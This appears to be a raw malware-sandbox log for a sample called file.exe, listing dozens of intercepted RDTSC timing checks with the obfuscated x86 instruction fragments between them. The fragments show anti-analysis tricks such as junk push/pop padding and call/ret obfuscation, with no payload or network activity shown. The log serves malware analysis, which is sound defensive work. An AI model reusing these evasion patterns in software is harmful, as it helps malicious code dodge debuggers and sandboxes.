Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7506 second address: 9D7595 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F942050A396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e js 00007F942050A396h 0x00000014 jns 00007F942050A396h 0x0000001a popad 0x0000001b jmp 00007F942050A39Ah 0x00000020 popad 0x00000021 nop 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007F942050A398h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 0000001Ch 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c pushad 0x0000003d sub dword ptr [ebp+122D36DBh], ecx 0x00000043 xor esi, dword ptr [ebp+122D3652h] 0x00000049 popad 0x0000004a mov dword ptr [ebp+122D227Ah], edx 0x00000050 push 00000000h 0x00000052 mov di, 8037h 0x00000056 push 00000000h 0x00000058 push 00000000h 0x0000005a push ecx 0x0000005b call 00007F942050A398h 0x00000060 pop ecx 0x00000061 mov dword ptr [esp+04h], ecx 0x00000065 add dword ptr [esp+04h], 0000001Bh 0x0000006d inc ecx 0x0000006e push ecx 0x0000006f ret 0x00000070 pop ecx 0x00000071 ret 0x00000072 xchg eax, ebx 0x00000073 push ebx 0x00000074 push ecx 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7FB7 second address: 9D7FCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9420DD1F41h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC1A4 second address: 9DC1BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F942050A39Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC1BF second address: 9DC1C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC1C5 second address: 9DC1C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD1CB second address: 9DD25C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F9420DD1F38h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push ebx 0x00000028 mov dword ptr [ebp+124569DFh], eax 0x0000002e pop edi 0x0000002f push 00000000h 0x00000031 mov edi, dword ptr [ebp+122D3A42h] 0x00000037 xchg eax, esi 0x00000038 pushad 0x00000039 jmp 00007F9420DD1F44h 0x0000003e jnl 00007F9420DD1F46h 0x00000044 popad 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 jmp 00007F9420DD1F3Eh 0x0000004e jmp 00007F9420DD1F3Bh 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE1DC second address: 9DE1E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E027A second address: 9E02CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F9420DD1F47h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F9420DD1F38h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b cmc 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jnl 00007F9420DD1F36h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E02CC second address: 9E02D6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F942050A396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC325 second address: 9DC329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D879A second address: 9D87A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E02D6 second address: 9E02DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC329 second address: 9DC32D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D87A0 second address: 9D87A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DE326 second address: 9DE332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D87A4 second address: 9D87A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3381 second address: 9E339B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F942050A3A0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E339B second address: 9E33AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9420DD1F3Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E34E2 second address: 9E34F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 js 00007F942050A3A8h 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E626D second address: 9E6277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9420DD1F36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6277 second address: 9E627B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98A2A6 second address: 98A2AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98A2AA second address: 98A2AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98A2AE second address: 98A2C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F9420DD1F42h 0x0000000e jbe 00007F9420DD1F36h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98A2C4 second address: 98A2D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F942050A3A6h 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F942050A396h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6829 second address: 9E6833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F9420DD1F36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E35A8 second address: 9E35C2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jg 00007F942050A396h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F942050A39Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E79EA second address: 9E79EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E79EE second address: 9E7A93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 call 00007F942050A3A5h 0x00000018 mov ebx, dword ptr [ebp+122D3B72h] 0x0000001e pop edi 0x0000001f push 00000000h 0x00000021 jmp 00007F942050A3A8h 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push edx 0x0000002b call 00007F942050A398h 0x00000030 pop edx 0x00000031 mov dword ptr [esp+04h], edx 0x00000035 add dword ptr [esp+04h], 00000015h 0x0000003d inc edx 0x0000003e push edx 0x0000003f ret 0x00000040 pop edx 0x00000041 ret 0x00000042 mov ebx, dword ptr [ebp+122D3A76h] 0x00000048 mov edi, 6D74ECDDh 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 push ecx 0x00000052 pop ecx 0x00000053 jmp 00007F942050A3A9h 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7A93 second address: 9E7A9D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9420DD1F3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8B18 second address: 9E8B1D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9A57 second address: 9E9A5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9A5D second address: 9E9A63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9A63 second address: 9E9A67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7BFB second address: 9E7C13 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F942050A39Bh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7C13 second address: 9E7C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7C17 second address: 9E7C21 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F942050A396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ECD02 second address: 9ECD08 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ECD08 second address: 9ECD0D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F25CB second address: 9F25CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F25CF second address: 9F25D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5273 second address: 9F5279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5279 second address: 9F528C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jmp 00007F942050A39Dh 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F528C second address: 9F5291 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5291 second address: 9F52A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F942050A396h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F55B2 second address: 9F55B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE7A1 second address: 9FE7A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE7A7 second address: 9FE7B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F9420DD1F38h 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE7B7 second address: 9FE7E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F942050A3B1h 0x0000000e jmp 00007F942050A3A9h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02467 second address: A02471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9420DD1F36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02471 second address: A0249C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F942050A3A4h 0x0000000f jmp 00007F942050A39Ch 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0249C second address: A024B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F40h 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a jc 00007F9420DD1F36h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02D0C second address: A02D46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F942050A396h 0x0000000a popad 0x0000000b jnl 00007F942050A39Ch 0x00000011 pop eax 0x00000012 push edx 0x00000013 je 00007F942050A3A2h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F942050A39Dh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02EAC second address: A02EB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02EB2 second address: A02EB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02EB6 second address: A02EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A032D1 second address: A032D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03583 second address: A03587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03587 second address: A03590 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03590 second address: A03597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03597 second address: A035AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A39Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A035AC second address: A035B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08BF1 second address: A08C02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A39Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07B5B second address: A07B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07B5F second address: A07B68 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07F80 second address: A07FC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F9420DD1F3Ch 0x0000000f js 00007F9420DD1F36h 0x00000015 jmp 00007F9420DD1F45h 0x0000001a jg 00007F9420DD1F4Bh 0x00000020 jmp 00007F9420DD1F3Fh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A080FC second address: A0810C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F942050A396h 0x0000000a pop edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08671 second address: A08675 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08675 second address: A0867F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0867F second address: A08683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08683 second address: A08687 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08687 second address: A08696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9420DD1F36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D3B2 second address: A0D3B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D508 second address: A0D50C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D50C second address: A0D516 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F942050A396h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D516 second address: A0D53A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jnc 00007F9420DD1F36h 0x0000000f jmp 00007F9420DD1F44h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D53A second address: A0D544 instructions: 0x00000000 rdtsc 0x00000002 je 00007F942050A39Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D544 second address: A0D55B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F9420DD1F3Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DC87 second address: A0DC8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DC8D second address: A0DCBF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9420DD1F36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F9420DD1F3Ah 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 jmp 00007F9420DD1F46h 0x00000018 pop eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DCBF second address: A0DCC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DF58 second address: A0DF5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DF5E second address: A0DF64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1963E second address: A1964F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9420DD1F3Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFF2D second address: 9CFF37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F942050A396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFF37 second address: 9CFF3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFF3B second address: 9CFFBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F942050A3A2h 0x0000000e nop 0x0000000f jng 00007F942050A39Bh 0x00000015 or di, B54Dh 0x0000001a jmp 00007F942050A3A4h 0x0000001f lea eax, dword ptr [ebp+1247DCB9h] 0x00000025 push 00000000h 0x00000027 push edi 0x00000028 call 00007F942050A398h 0x0000002d pop edi 0x0000002e mov dword ptr [esp+04h], edi 0x00000032 add dword ptr [esp+04h], 0000001Ah 0x0000003a inc edi 0x0000003b push edi 0x0000003c ret 0x0000003d pop edi 0x0000003e ret 0x0000003f jmp 00007F942050A3A6h 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 push ecx 0x00000049 pop ecx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFFBA second address: 9B868B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a jo 00007F9420DD1F36h 0x00000010 call dword ptr [ebp+122D17B6h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0179 second address: 9D017D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D017D second address: 9D0181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0181 second address: 9D018A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0949 second address: 9D094D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
